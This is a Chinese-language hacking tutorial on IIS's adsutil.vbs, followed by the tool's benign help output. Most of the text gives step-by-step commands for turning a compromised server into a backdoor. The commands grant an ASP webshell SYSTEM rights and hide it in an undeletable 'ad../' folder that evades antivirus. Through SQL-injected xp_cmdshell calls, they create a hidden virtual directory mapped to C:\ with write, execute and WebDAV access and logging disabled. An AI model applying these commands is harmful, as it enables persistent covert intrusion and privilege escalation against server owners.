微軟官方介紹Appcmd.exe (IIS 7) : https://technet.microsoft.com/zh-cn/library/cc772200(WS.10).aspx
IIS7.0與IIS8.0 Appcmd 命令詳解_Zoomla!逐浪CMS官網 https://www.zoomla.cn/help/tech/2276.shtml
IIS7 全新管理工具AppCmd.exe的命令使用實例分享_win服務器_腳本之家 http://www.jb51.net/article/36024.htm
Windows下IIS管理腳本之adsutil.vbs的使用方法_系統之家 http://www.xitonghome.com/article/html/4776_2.html
IIS管理腳本之adsutil.vbs的使用說明_vbs_腳本之家 http://www.jb51.net/article/10271.htm
-------------------------------------------------------------------------------------------------------------------------------
Adsutil.vbs基本用法及深入了解
利用adsutil.vbs+../+cmd.asp打造完美後門所須工具:
一個cmd.asp足夠了喲,自己寫一個或者是找一個都行,不過建議自己寫一個其實很簡單的喲!而且自己寫的還不會被殺掉。光盤裡有一個我自己寫的cmd.asp很詳細的注釋喲,你可以看看!
打造過程:
假設你已經攻下了一台機子。
好了開始開工了!
相信大家還都記得原來有一篇文章裡說把iis裡的應用程序保護設置成:低(iis進程) 然後運行的asp木馬就有system權限了吧!
我們將把他設置成:中(共用的),然後仍然讓我們的cmd.asp以system權限運行。
這就用到adsutil.vbs這個工具了。
Adsutil.vbs是系統自帶的一個工具,用來管理iis的,一般在c:/inetpub/adminscripts下。
至於adsutil.vbs的具體使用在這裡不再闡述,請自己在網上去查喲!
其中
在應用程序保護設置為“中”的情況下:LM/W3SVC/InProcessIsapiApps,進程內啟動ISAPI。LM/W3SVC/InProcessIsapiApps是一個數組,裡面包含的是一組指向一些ISAPI的路徑。在這個數組裡面的ISAPI運行的時候都是由inetinfo.exe直接啟動的,繼承inetinfo.exe的local system權限;而不在其中的ISAPI則是由svchost.exe派生的dllhost.exe進程啟動的,運行的身份是IWAM_NAME,然而我們要做的就是手動添加asp.dll到這裡。
注意這個裡面的東西不能添加,只能覆蓋!!
執行:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
看看原來都有那些:
然後執行:cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINDOWS/system32/inetsrv/httpext.dll" "C:/WINDOWS/system32/inetsrv/httpodbc.dll" "C:/WINDOWS/system32/inetsrv/ssinc.dll" "C:/WINDOWS/system32/msw3prt.dll" "C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll" "C:/WINDOWS/system32/inetsrv/asp.dll"
注意各個值之間是用一個空格擱開的,不是回車!如下圖
好了,這下應用程序保護設置為中也沒有用了,我們還是system權限!
然後再讓我們來打造一個殺毒軟件殺不到,管理員找不到的文件夾把cmd.asp放進去!
讓我們打開文件夾看看,你會神奇的發現aaa和aaa。(建立文件夾時的aaa../)文件夾裡的都是1.txt
那2.txt去哪裡了呢?實際上我們打開的aaa。文件夾實際進的是aaa文件夾。
而2.txt還是在真正的aaa../裡面喲!而且這個文件夾用一般方法是刪不掉的喲!
具體可參照我收錄的一篇文章:讓ASP木馬不被殺.txt
好了利用這個原理,我們在肉雞的建站目錄裡建立一個文件夾,假設他原由ad這個文件夾,我們建立一個ad../的文件夾,然後用copy命令把我們的cmd.asp給拷過去!
好了,現在我們已經有不被查殺不容易被發現的system後門了!
可是想過沒有,如果別人也傳了一個cmd.asp上去,那我們不是成了螳螂捕蟬黃雀在後裡的螳螂了。不行,我們要打造只屬於我自己的後門!
cmd.asp裡有這麼一句:
set oScript=server.createobject("WSCRIPT.SHELL")
這句可是核心喲,好了去注冊表搜索WSCRIPT.SHELL項然後把他修改成你想要的,如WSCRIPT.SHELLshell .
注意搜索的時候還會搜索到WSCRIPT.SHELL.1也應改改掉,不然就白忙活了喲!
然後把你的cmd.asp裡面的
set oScript=server.createobject("WSCRIPT.SHELL")
改為
set oScript=server.createobject("WSCRIPT.SHELLshell")
好了,把cmd.asp拷進ad../
這樣你就有自己的後門了。
訪問後門的時候只需要輸入http://host/ad../cmd.asp
就可以了
看一下我做的這個
呵呵,還不錯吧!
Adsutil.vbs基本用法2006-11-19 13:17C:/Inetpub/AdminScripts>cscript Adsutil.vbs
Microsoft (R) Windows Script Host Version 5.6
版權所有(C) Microsoft Corporation 1996-2001。保留所有權利。
Usage:
ADSUTIL.VBS
Description:
IIS administration utility that enables the configuration of metabase properties
Supported Commands: //支持的命令,這個最重要
GET,SET,ENUM,DELETE,CREATE,COPY,APPCREATEINPROC,APPCREATEOUTPROC,APPCREATEPOOLPROC,APPDELETE,APPUNLOAD, APPGETSTATUS
Samples: //簡單的幾個例子
Adsutil.vbs GET W3SVC/1/ServerBindings //查看第一個虛擬WEB站點的邦定端口。這裡的W3SVC/1是IIS:// LocalHostW3SVC/1的簡寫,而ServerBindings是它的屬性。下同。
Adsutil.vbs SET W3SVC/1/ServerBindings ":81:" //設定第一個虛擬WEB站點的邦定端口為81。
Adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir" //在第一個虛擬WEB站點根目錄下建立一個MyVdir的虛擬目錄。後面的“IIsWebVirtualDir”指的是目錄類型。
Adsutil.vbs START_SERVER W3SVC/1 //啟動第一個虛擬WEB站點。
Adsutil.vbs ENUM /P W3SVC //查看IIS的所有站點。
For Extended Help type:
Adsutil.vbs HELP //如果想要進一步的查看幫助,鍵入此命令。
以上“//”後的文字都是我添加上去的注釋,相信這樣解釋大家應該可以看懂了吧。
我們所常用的Adsutil.vbs的命令有這麼幾個:GET,SET,ENUM,DELETE,CREATE。現在我來一一說明:GET命令通常是用來查看目錄的各項屬性值;SET是用來設定目錄屬性用的;ENUM也是用來查看屬性,所不同的是它直接把所有設置了的屬性直接全部顯示出來。通常一個目錄就有好幾頁東西可看……它有個可選的“/p”開關符,加上了這個開關,它只會列出此目錄下的所有虛擬目錄。
洞察虛擬目錄屬性
一個虛擬目錄的大致屬性值如下(只列出了常用的,和入侵過程息息相關的):
KeyType:(STRING) "IIsWebVirtualDir" //目錄類型,(STRING)說明它是個字符串類型的屬性。
AppRoot:(STRING) "/LM/W3SVC/1/ROOT" //目錄IIS路徑。
AppFriendlyName:(STRING) "默認應用程序" //應用程序名。
AppIsolated:(INTEGER) 2 //指定運行於進程外還是進程中,數字類型屬性。
HttpCustomHeaders:(LIST) (1 Items) //自定義IIS數據頭。
"Powered By : Www.WoFeiWo.Info"
HttpErrors:(LIST) (42 Items) //各種IIS代碼所返回的頁面。可以自行設置。
DefaultDoc:(STRING) "Default.htm,index.htm,Default.asp,index.asp,Default.PHP,index.php,Default.aspx,index.aspx" //目錄的默認主頁面名稱。
Path:(STRING) "D:/ftp" //目錄所真正映射的物理路徑。
AccessExecute:(BOOLEAN) False //目錄的執行權限,是布爾值。
AccessSource:(BOOLEAN) False //目錄的Webdav訪問是否允許。
AccessRead:(BOOLEAN) True //目錄的只讀權限。
AccessWrite:(BOOLEAN) False //目錄的寫權限。
AccessScript:(BOOLEAN) True //目錄是否允許執行腳本。
AccessNoRemoteExecute:(BOOLEAN) False
AccessNoRemoteRead:(BOOLEAN) False
AccessNoRemoteWrite:(BOOLEAN) False
AccessNoRemoteScript:(BOOLEAN) False
AccessNoPhysicalDir:(BOOLEAN) False
ScriptMaps:(LIST) (27 Items) //應用程序擴展名映射
".asa,C:/WINDOWS/system32/inetsrv/asp.dll,5,GET,HEAD,POST,TRACE"
".asp,C:/WINDOWS/system32/inetsrv/asp.dll,5,GET,HEAD,POST,TRACE"
".aspx,C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll,1,GET,HEAD,POST,DEBUG"
……………… //這裡省略N多數據。
AspEnableParentPaths:(BOOLEAN) True
AppPoolId:(STRING) "DefaultAppPool" //應用程序池名稱。
DontLog:(BOOLEAN) True //禁止IISLog紀錄。
DirBrowseFlags:(INTEGER) -1073741762
EnableDirBrowsing:(BOOLEAN) True //目錄是否允許列目錄。
DirBrowseShowDate:(BOOLEAN) True //這裡及以下都是顯示目錄時的參數設置。
DirBrowseShowTime:(BOOLEAN) True
DirBrowseShowSize:(BOOLEAN) True
DirBrowseShowExtension:(BOOLEAN) True
DirBrowseShowLongDate:(BOOLEAN) True
EnableDefaultDoc:(BOOLEAN) True //是否開啟默認主頁文檔。
以上是我用“Cscript Adsutil.vbs ENUM w3svc/1/root”命令在自己機器上察看到的,大家也可以自己輸入以上命令研究。
上面的屬性我們都可以通過SET命令來進行設置,如下方式:
Cscript Adsutil.vbs SET w3svc/1/root/目錄名/屬性名 設置值
如:
Cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1
設置第一個虛擬WEB站點下Wofeiwo虛擬目錄的可讀權限為Ture。
Cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:/”
這是/設置目錄的映射路徑是“C:/”。
Adsutil.vbs在入侵中的作用
1.MSSQL Injection的上傳新思路
或許大家會在MSSQL的注入中碰到這種情況:SA權限,可以執行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)。可是服務器是在內網,外面是個堡壘主機,只是做了個80端口的映射,3389開了沒有用(內網連不上),所有反向木馬也傳不上去(Tftp、Ftp、Wget、exe2bat等等)這時候你該怎麼辦?
Amanl大哥經典的《搾干MSSQL最後一滴血》給我們一個很好的思路:就是利用%SystemDrive%/Inetpub/AdminScripts下的VBS建立一個新的虛擬目錄,自定義其映射的絕對路徑。這樣可以繞過了對WEB絕對路徑的猜解,然後通過BACKUP或MASKWEBTASK備份數據庫或臨時表到虛擬目錄下(或是直接Echo)就可以得到了一個Shell。
上面的想法的確很好,可是用過臭要飯的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多麼低,而Echo……我也不想說了,一行一行寫那簡直是找罪受,還要不停地轉特殊字符……其實我們可以把Amanl大哥的想法改進一下:在我們建立一個新的虛擬目錄的時候,可以加上寫目錄的權限,再加上Webdav。那麼我們不就可以直接通過IIS上傳任何文件了嗎?也不僅僅局限於文本文件了。如果我們上傳了一個反向後門再通過SA執行!呵呵,一切就都搞定了!來,馬上實驗一下:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:/”’;--
注意上面的特殊字符要自己轉變,或者你可以用NBSI2或者小路的SQLCOMM來執行以上命令。這樣我們就在第一個WEB站點下建立了一個Wofeiwo的虛擬目錄,映射到了C:/根目錄。給它加上讀和寫的權限,為了要一個Webshell ,我再加上執行腳本的權限:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1’;--
寫到這裡,看過Surperhei寫的《對IIS寫權限的利用》一文的朋友可能會想要自己構造HTTP包來上傳文件,其實有更簡單的方法:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1’;--
設置為允許列目錄和Webdav訪問,然後打開你的IE,Ctrl+O打開“打開”對話框,鍵入你剛才設置的虛擬目錄,選中“以Web文件夾方式打開”,確定。現在你就可以像操作普通文件夾一樣操作以上文件了,還可以Ctrl+C、Ctrl+V復制文件呢!實現了方便上傳、修改文件的功能。
2.直接制作一個IIS後門
其實我們完全可以更進一步利用上面所說的思路直接制作一個IIS後門。來,看我的實現(這裡使用了動鲨在《近乎完美的IIS後門》中所介紹的方法。不過我是直接用Adsutil.vbs這個MS自帶的工具完成了設置,對此文章感興趣的朋友可以自己找來看看):
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"’;-- //首先建立一個wofeiwo目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs CREATE w3svc/1/Root/wofeiwo/door "IIsWebVirtualDir"’;-- //在wofeiwo目錄下又建立了一個door目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs cscript Adsutil.vbs SET w3svc/1/root/wofeiwo/door/Path “C:/”’;-- //設置door目錄映射到C:根目錄。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1’;-- //這裡及以下都是給目錄設置個種權限。可以參考以上的命令注釋。
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1’;--
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1’;--
可能會有人說,這不就是和上面的一樣嗎?你仔細看會發現我們上面新建的第一個目錄“wofeiwo”並沒有設置“Path”屬性,也就是說它沒有映射到任何實際的目錄上去。這裡應用了IIS的一個BUG(涉及到IIS5.0/5.1/6.0),即對於沒有“Path”屬性的虛擬目錄是不會在IIS管理器中出現的,相當於一個隱藏的目錄,而其下的虛擬目錄“door”同樣是由於上級目錄不可見的,所以它也是不可見的!但是“door”目錄是設置了“Path”屬性的,所以如果我們提交http://IP/wofeiwo/door/路徑,其結果是會返回C:/下的文件目錄,現在此目錄已經是我們可以任意寫文件讀文件了,並且還可以轉到System32目錄下運行程序。我們的後門雛形建成了(注意看我這裡是加上了AccessExecute執行權限的)。
但是我們現在執行的程序都還是IIS默認的IUSR用戶的Guest權限,沒有大的權限我們總是不爽,下面來提升我們的權限,加IUSR用戶為管理員就不說了。下面說說另兩個方法:
(1) 設置AppIsolated,使此目錄下程序在IIS的進程中進行,這樣就繼承了IIS的System權限:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0’;--
(2)將解析ASP文件的Asp.dll加入到IIS的特權Dll中,使其在進程中運行,從而的到IIS的LocalSystem權限。操作方式如下,首先得到IIS所有的特權Dll:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs GET w3svc/InProcessIsapiApps’;--
返回:
InProcessIsapiApps : (LIST) (5 Items)
"C:/WINDOWS/system32/inetsrv/httpext.dll"
"C:/WINDOWS/system32/inetsrv/httpodbc.dll"
"C:/WINDOWS/system32/inetsrv/ssinc.dll"
"C:/WINDOWS/system32/msw3prt.dll"
"C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll"
再將Asp.dll設置到InProcessIsapiApps組中去。這裡要注意,把上面的所有查到的Dll都加上,否則會被刪除:
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%/Inetpub/AdminScripts/ Adsutil.vbs SET w3svc/InProcessIsapiApps "C:/WINDOWS/system32/inetsrv/httpext.dll" "C:/WINDOWS/system32/inetsrv/httpodbc.dll" "C:/WINDOWS/system32/inetsrv/ssinc.dll" "C:/WINDOWS/system32/msw3prt.dll" "C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll" "C:/WINDOWS/system32/inetsrv/asp.dll"’;--
返回:
InProcessIsapiApps:(LIST)"C:/WINDOWS/system32/inetsrv/httpext.dll" "C:/WINDOWS/system32/inetsrv/httpodbc.dll" "C:/WINDOWS/system32/inetsrv/ssinc.dll" "C:/WINDOWS/system32/msw3prt.dll" "C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/aspnet_isapi.dll" "C:/WINDOWS/system32/inetsrv/asp.dll"
這樣就設置好了,以後無論什麼ASP文件就都是 LoaclSystem權限了。通過以上的步驟,我們的IIS後門就設置好了。你可以上傳ASP木馬加以輔助控制,這樣的設置型後門是很難被管理員發現的,並且完全通過IIS的80端口通訊,又沒有日志記錄,所以相當安全。
Adsutil.vbs的幫助
C:/Inetpub/AdminScripts>cscript adsutil.vbs help
Microsoft (R) Windows Script Host Version 5.6
版權所有(C) Microsoft Corporation 1996-2001。保留所有權利。
Usage:
ADSUTIL.VBS CMD [param param]
Note: ADSUTIL only supports the "no switch" option of MDUTIL
Description:
IIS K2 administration utility that enables the manipulation with ADSI parameters
Standard MDUTIL Commands:
adsutil.vbs GET path - display chosen parameter
adsutil.vbs SET path value ... - assign the new value
adsutil.vbs ENUM path ["/P" | "/A"] - enumerate all parameters for given pa
th
adsutil.vbs DELETE path - delete given path or parameter
adsutil.vbs CREATE path [KeyType] - create given path and assigns it the gi
ven KeyType
adsutil.vbs APPCREATEINPROC w3svc/1/root - Create an in-proc application
adsutil.vbs APPCREATEOUTPROC w3svc/1/root - Create an out-proc application
adsutil.vbs APPCREATEPOOLPROC w3svc/1/root- Create a pooled-proc application
adsutil.vbs APPDELETE w3svc/1/root - Delete the application if there is
one
adsutil.vbs APPUNLOAD w3svc/1/root - Unload an application from w3svc ru
ntime lookup table.
adsutil.vbs APPDISABLE w3svc/1/root - Disable an application - appropriat
e for porting to another machine.
adsutil.vbs APPENABLE w3svc/1/root - Enable an application - appropriate
for importing from another machine.
adsutil.vbs APPGETSTATUS w3svc/1/root - Get status of the application
New ADSI Options:
/P - Valid for ENUM only. Enumerates the paths only (no data)
/A - Valid for ENUM only. Enumerates all data that CAN be set on the node
KeyType - Valide for CREATE only. Assigns the valid KeyType to the path
Extended ADSUTIL Commands:
adsutil.vbs FIND path - find the paths where a given parameter
is set
adsutil.vbs CREATE_VDIR path - create given path as a Virtual Director
y
adsutil.vbs CREATE_VSERV path - create given path as a Virtual Server
adsutil.vbs START_SERVER path - starts the given web site
adsutil.vbs STOP_SERVER path - stops the given web site
adsutil.vbs PAUSE_SERVER path - pauses the given web site
adsutil.vbs CONTINUE_SERVER path - continues the given web site
Samples:
adsutil.vbs GET W3SVC/1/ServerBindings
adsutil.vbs SET W3SVC/1/ServerBindings ":81:"
adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"
adsutil.vbs START_SERVER W3SVC/1
adsutil.vbs ENUM /P W3SVC
Extended ADSUTIL Commands:
adsutil.vbs FIND path - find the paths where a given parameter
is set
adsutil.vbs CREATE_VDIR path - create given path as a Virtual Director
y
adsutil.vbs CREATE_VSERV path - create given path as a Virtual Server
adsutil.vbs START_SERVER path - starts the given web site
adsutil.vbs STOP_SERVER path - stops the given web site
adsutil.vbs PAUSE_SERVER path - pauses the given web site
adsutil.vbs CONTINUE_SERVER path - continues the given web site
Samples:
adsutil.vbs GET W3SVC/1/ServerBindings
adsutil.vbs SET W3SVC/1/ServerBindings ":81:"
adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"
adsutil.vbs START_SERVER W3SVC/1
adsutil.vbs ENUM /P W3SVC